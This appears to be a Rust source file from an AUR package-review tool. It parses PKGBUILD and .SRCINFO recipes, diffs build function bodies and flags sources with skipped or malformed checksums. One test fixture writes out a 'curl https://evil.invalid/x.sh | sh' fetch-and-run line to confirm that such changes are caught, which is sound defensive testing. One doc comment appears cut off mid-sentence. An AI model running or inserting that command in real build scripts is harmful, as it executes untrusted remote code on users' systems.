1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
|
use std::collections::BTreeMap;
use crate::db::model::{Recipe, SourceEntry};
use crate::error::{Error, Result};
/// Parse `.SRCINFO`. Sections are `pkgbase = X` followed by `key = value` lines,
/// then one `pkgname = Y` section per emitted package.
pub fn parse_srcinfo(text: &str) -> Result<Recipe> {
let mut r = Recipe::default();
let mut current: Option<String> = None; // Some(pkgname) when inside a pkgname section
let mut base_seen = false;
for line in text.lines() {
let line = line.trim_end();
if line.is_empty() {
continue;
}
let indented = line.starts_with('\t') || line.starts_with(' ');
let (k, v) = match line.split_once('=') {
Some((k, v)) => (k.trim().to_string(), v.trim().to_string()),
None => continue,
};
if !indented {
if k == "pkgbase" {
r.pkgbase = v;
base_seen = true;
current = None;
} else if k == "pkgname" {
current = Some(v.clone());
r.pkgnames.push(v.clone());
r.pkg_depends.push((v, Vec::new()));
}
continue;
}
if !base_seen {
return Err(Error::invalid(".SRCINFO has no pkgbase line"));
}
let in_pkg = current.is_some();
push_field(&mut r, in_pkg, current.as_deref(), &k, &v);
}
if r.pkgnames.is_empty() {
r.pkgnames.push(r.pkgbase.clone());
let deps = r.depends.clone();
r.pkg_depends.push((r.pkgbase.clone(), deps));
}
r.srcinfo = Some(text.to_string());
r.source_entries = parse_source_entries(&r.source)?;
Ok(r)
}
#[allow(clippy::too_many_arguments)]
fn push_field(r: &mut Recipe, in_pkg: bool, pkg: Option<&str>, k: &str, v: &str) {
// Fields that belong to the base only are ignored inside pkgname sections.
match k {
"pkgver" if !in_pkg => r.pkgver = v.into(),
"pkgrel" if !in_pkg => r.pkgrel = v.into(),
"epoch" if !in_pkg => r.epoch = v.into(),
"pkgdesc" => r.pkgdesc = v.into(),
"url" if !in_pkg => r.url = v.into(),
"arch" => r.arch.push(v.into()),
"license" => r.license.push(v.into()),
"groups" => r.groups.push(v.into()),
"depends" => {
r.depends.push(v.into());
if let Some(p) = pkg {
if let Some((_, d)) = r.pkg_depends.iter_mut().find(|(n, _)| n == p) {
d.push(v.into());
}
}
}
"makedepends" => r.makedepends.push(v.into()),
"checkdepends" => r.checkdepends.push(v.into()),
"optdepends" => r.optdepends.push(v.into()),
"provides" => r.provides.push(v.into()),
"conflicts" => r.conflicts.push(v.into()),
"source" => r.source.push(v.into()),
"sha256sums" => r.sha256sums.push(v.into()),
"b2sums" => r.b2sums.push(v.into()),
"validpgpkeys" => r.validpgpkeys.push(v.into()),
"options" => r.options.push(v.into()),
"backup" => r.backup.push(v.into()),
"install" => r.install = Some(v.into()),
_ => {}
}
}
/// Minimal `PKGBUILD` variable reader: top-level `var=value` and `var=(...)`
/// assignments, including arrays spanning several lines and quoted elements.
///
/// A fallback for recipes without `.SRCINFO`; it deliberately does not evaluate
/// bash. Anything it cannot read is reported, not guessed.
pub fn parse_pkgbuild(text: &str) -> Result<Recipe> {
let vars = pkgbuild_vars(text);
let mut r = Recipe::default();
let get = |k: &str| vars.get(k).cloned().unwrap_or_default();
r.pkgbase = get("pkgbase").into_iter().next().unwrap_or_default();
if r.pkgbase.is_empty() {
// A PKGBUILD without pkgbase emits one package named pkgname[0].
r.pkgbase = get("pkgname").into_iter().next().unwrap_or_default();
}
if r.pkgbase.is_empty() {
return Err(Error::invalid("PKGBUILD declares no pkgbase or pkgname"));
}
r.pkgver = get("pkgver").into_iter().next().unwrap_or_default();
r.pkgrel = get("pkgrel").into_iter().next().unwrap_or_default();
r.epoch = get("epoch").into_iter().next().unwrap_or_default();
if r.epoch.is_empty() {
r.epoch = "0".into();
}
if r.pkgver.is_empty() {
return Err(Error::invalid("PKGBUILD declares no pkgver"));
}
if r.pkgrel.is_empty() {
r.pkgrel = "1".into();
}
r.pkgdesc = get("pkgdesc").into_iter().next().unwrap_or_default();
r.url = get("url").into_iter().next().unwrap_or_default();
r.arch = get("arch");
r.license = get("license");
r.groups = get("groups");
r.depends = get("depends");
r.makedepends = get("makedepends");
r.checkdepends = get("checkdepends");
r.optdepends = get("optdepends");
r.provides = get("provides");
r.conflicts = get("conflicts");
r.source = get("source");
r.sha256sums = get("sha256sums");
r.b2sums = get("b2sums");
r.validpgpkeys = get("validpgpkeys");
r.options = get("options");
r.backup = get("backup");
r.install = get("install").into_iter().next();
let pkgnames = get("pkgname");
r.pkgnames = if pkgnames.is_empty() {
vec![r.pkgbase.clone()]
} else {
pkgnames.clone()
};
r.pkg_depends = r
.pkgnames
.iter()
.map(|n| (n.clone(), r.depends.clone()))
.collect();
r.skipgpcheck = text.contains("--skippgpcheck");
r.pkgbuild = text.to_string();
r.source_entries = parse_source_entries(&r.source)?;
Ok(r)
}
/// Extract top-level assignments from a PKGBUILD.
fn pkgbuild_vars(text: &str) -> BTreeMap<String, Vec<String>> {
let mut out: BTreeMap<String, Vec<String>> = BTreeMap::new();
let mut lines = text.lines().peekable();
while let Some(line) = lines.next() {
let t = line.trim_start();
if t.starts_with('#') || t.is_empty() {
continue;
}
// Stop at the first function definition: variables inside functions are
// not part of the recipe metadata we diff.
if t.contains("()") && t.contains('{') {
break;
}
let Some((name, rest)) = split_assign(t) else { continue };
let rest = rest.trim();
if let Some(inner) = rest.strip_prefix('(') {
// Array: may close on this line or later ones.
let mut buf = String::from(inner);
while !buf.contains(')') {
match lines.next() {
Some(l) => {
buf.push(' ');
buf.push_str(l.trim());
}
None => break,
}
}
let inner = buf.split(')').next().unwrap_or(&buf).to_string();
out.entry(name).or_default().extend(split_array_elements(&inner));
} else {
let v = unquote(rest);
if !v.is_empty() {
out.entry(name).or_default().push(v);
}
}
}
out
}
/// `name=value` where the line is an assignment (no spaces before `=`).
fn split_assign(t: &str) -> Option<(String, String)> {
let (name, rest) = t.split_once('=')?;
let name = name.trim();
if name.is_empty()
|| !name
.chars()
.next()
.is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
|| !name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
{
return None;
}
// `foo[1]=x` and similar are not metadata.
if name.contains('[') {
return None;
}
Some((name.to_string(), rest.to_string()))
}
fn unquote(s: &str) -> String {
let s = s.trim();
let s = s.strip_prefix('"').unwrap_or(s);
let s = s.strip_suffix('"').unwrap_or(s);
let s = s.strip_prefix('\'').unwrap_or(s);
s.strip_suffix('\'').unwrap_or(s).to_string()
}
/// Split `(a "b c" 'd e')` into elements.
fn split_array_elements(s: &str) -> Vec<String> {
let mut out = Vec::new();
let mut cur = String::new();
let mut quote: Option<char> = None;
let mut pushed = false;
for c in s.chars() {
match quote {
Some(q) => {
if c == q {
quote = None;
} else {
cur.push(c);
}
}
None => match c {
'\'' | '"' => quote = Some(c),
c if c.is_whitespace() => {
if !cur.is_empty() {
out.push(std::mem::take(&mut cur));
}
pushed = true;
}
c => {
cur.push(c);
pushed = false;
}
},
}
}
let _ = pushed;
if !cur.is_empty() {
out.push(cur);
}
out.into_iter().filter(|e| !e.is_empty()).collect()
}
/// Parse `source=()` entries into structured form (§5.2 needs the VCS refs,
/// §5.3 needs the kind of each entry).
pub fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
let mut out = Vec::new();
for (index, raw) in list.iter().enumerate() {
let s = raw.trim();
if s.is_empty() {
return Err(Error::invalid("empty source entry"));
}
// `filename::url` (filename first, per makepkg).
let (filename, url) = match s.split_once("::") {
Some((f, u)) => (Some(f.to_string()), u.to_string()),
None => (None, s.to_string()),
};
let (url, frag) = match url.split_once('#') {
Some((u, f)) => (u.to_string(), Some(f.to_string())),
None => (url.clone(), None),
};
let (vcs, clean) = match url.split_once('+') {
Some((scheme, rest)) if ["git", "svn", "hg", "bzr", "fossil"].contains(&scheme) => {
(Some(scheme.to_string()), rest.to_string())
}
_ => (None, url.clone()),
};
let mut commit = None;
let mut tag = None;
let mut branch = None;
if let Some(f) = frag {
for pair in f.split('&') {
let (k, v) = match pair.split_once('=') {
Some((k, v)) => (k, v),
None => continue,
};
match k {
"commit" => commit = Some(v.to_string()),
"tag" => tag = Some(v.to_string()),
"branch" => branch = Some(v.to_string()),
_ => {}
}
}
}
let local = vcs.is_none() && !clean.contains("://");
let filename = filename.or_else(|| {
if local {
clean.rsplit('/').next().map(|s| s.to_string())
} else {
None
}
});
out.push(SourceEntry {
index,
url: clean,
filename,
commit,
tag,
branch,
vcs,
local,
});
}
Ok(out)
}
/// Build a recipe from a materialized AUR tree.
///
/// `.SRCINFO` wins when present — it is what `makepkg` itself reports and every
/// real AUR repo ships it. Otherwise we fall back to reading the `PKGBUILD`.
pub fn recipe_from_tree(files: &BTreeMap<String, String>) -> Result<Recipe> {
let pkgbuild_path = files
.keys()
.find(|k| k.ends_with("PKGBUILD"))
.cloned()
.ok_or_else(|| Error::invalid("snapshot tree contains no PKGBUILD"))?;
let pkgbuild = files.get(&pkgbuild_path).cloned().unwrap_or_default();
let mut r = match files.iter().find(|(k, _)| k.ends_with(".SRCINFO")) {
Some((_, srcinfo)) => parse_srcinfo(srcinfo)?,
None => parse_pkgbuild(&pkgbuild)?,
};
if r.pkgbuild.is_empty() {
r.pkgbuild = pkgbuild;
}
if r.pkgbase.is_empty() {
return Err(Error::invalid("recipe has no pkgbase"));
}
Ok(r)
}
/// Text files we render diffs for (§6 "recipe diff" panel).
pub fn is_diffable(path: &str) -> bool {
let ext = path.rsplit('.').next().unwrap_or("");
!matches!(
ext,
"png" | "jpg" | "gif" | "ico" | "pdf" | "gz" | "zst" | "xz" | "bz2" | "zip" | "deb" | "rpm"
)
}
/// The executable part of a `PKGBUILD`: everything from the first function
/// definition onward.
///
/// The assignments above the functions are metadata; the functions are code that runs
/// here and, through the package, everywhere it installs.
/// scorer need that line drawn in the same place (§6 m-2).
pub fn pkgbuild_bodies(text: &str) -> String {
let mut out = String::new();
let mut inside = false;
for line in text.lines() {
let t = line.trim_start();
if t.starts_with("build()")
|| t.starts_with("package")
|| t.starts_with("prepare()")
|| t.starts_with("check()")
{
inside = true;
}
if inside {
out.push_str(t);
out.push('\n');
}
}
out
}
/// True when the diff touches a function body rather than only the assignments
/// above them.
pub fn bodies_changed(old_src: &str, new_src: &str) -> bool {
pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src)
}
/// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3).
pub const SKIP: &str = "SKIP";
/// The checksum a recipe declares for source entry `index`, `sha256sums` first
/// and `b2sums` second; `None` when the recipe declares nothing for it.
pub fn declared_sums(recipe: &Recipe, index: usize) -> Option<String> {
recipe
.sha256sums
.get(index)
.or_else(|| recipe.b2sums.get(index))
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
}
/// True when a declared checksum is an actual hex digest of the length we
/// expect, rather than `SKIP` or a typo a maintainer left behind.
pub fn is_hex_digest(s: &str) -> bool {
(s.len() == 64 || s.len() == 128) && s.chars().all(|c| c.is_ascii_hexdigit())
}
/// The non-VCS sources the recipe refuses to verify (§5.3): `SKIP`, a malformed
/// digest, or no digest at all. A question about the *recipe*, so it lives with
/// the recipe — the watcher and the risk scorer both ask it, and neither should
/// own the answer.
pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> {
recipe
.source_entries
.iter()
.filter(|e| !e.is_vcs())
.filter(|e| match declared_sums(recipe, e.index) {
Some(d) => d == SKIP || !is_hex_digest(&d),
None => true,
})
.map(|e| e.index)
.collect()
}
#[cfg(test)]
mod tests {
#[test]
fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() {
// The drift this pins (§6 m-2): the diff panel used to compare only the
// function *header* lines, so a `build()` whose body was rewritten to
// `curl | sh` looked unchanged to the reviewer while the risk scorer,
// with its own copy of the rule, said otherwise.
let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n";
assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing");
assert!(!bodies_changed(before, before));
// Metadata above the functions is not code.
let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n";
assert!(!bodies_changed(before, bumped), "a version bump is not a code change");
}
#[test]
fn bodies_start_at_the_first_function_and_run_to_the_end() {
let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n";
assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text");
assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), "");
}
use super::*;
#[test]
fn pkgbuild_arrays_span_lines_and_quotes() {
let r = parse_pkgbuild(
r#"# comment
pkgbase=foo
pkgver=1.0
pkgrel=2
pkgdesc="a package"
arch=(x86_64)
depends=('glibc' openssl
zlib)
source=(git+https://example.invalid/foo.git
fix.patch::https://example.invalid/fix.patch)
sha256sums=('SKIP' 'abc')
build() {
local pkgver=not-this
}
"#,
)
.unwrap();
assert_eq!(r.pkgbase, "foo");
assert_eq!(r.full_version(), "1.0-2");
assert_eq!(r.depends, vec!["glibc", "openssl", "zlib"]);
assert_eq!(r.source.len(), 2);
assert_eq!(r.sha256sums, vec!["SKIP", "abc"]);
assert_eq!(r.pkgnames, vec!["foo"]);
}
#[test]
fn source_entries_carry_kind_and_refs() {
let e = parse_source_entries(&[
"git+https://github.com/foo/bar.git#commit=deadbeef".into(),
"git+https://github.com/foo/bar.git#branch=next".into(),
"hg+https://example.invalid/x".into(),
"name::https://example.invalid/file.tar.gz".into(),
"local.patch".into(),
])
.unwrap();
assert_eq!(e[0].vcs.as_deref(), Some("git"));
assert_eq!(e[0].commit.as_deref(), Some("deadbeef"));
assert_eq!(e[0].url, "https://github.com/foo/bar.git");
assert_eq!(e[1].branch.as_deref(), Some("next"));
assert_eq!(e[2].vcs.as_deref(), Some("hg"));
assert_eq!(e[3].filename.as_deref(), Some("name"));
assert!(!e[3].local);
assert!(e[4].local);
assert_eq!(e[4].filename.as_deref(), Some("local.patch"));
}
#[test]
fn srcinfo_sections_describe_split_pkgbases() {
let r = parse_srcinfo(
"pkgbase = foo\n\tpkgver = 1.0\n\tpkgrel = 1\n\tmakedepends = cmake\n\tsource = x.tar\n\tsha256sums = SKIP\npkgname = foo\n\tdepends = glibc\npkgname = foo-lua\n\tdepends = lua\n",
)
.unwrap();
assert_eq!(r.pkgbase, "foo");
assert_eq!(r.pkgnames, vec!["foo", "foo-lua"]);
assert_eq!(r.makedepends, vec!["cmake"]);
assert_eq!(r.pkg_depends[1].1, vec!["lua"]);
}
#[test]
fn a_recipe_without_a_version_is_an_error_not_a_guess() {
assert!(parse_pkgbuild("pkgbase=foo\n").is_err());
}
}
|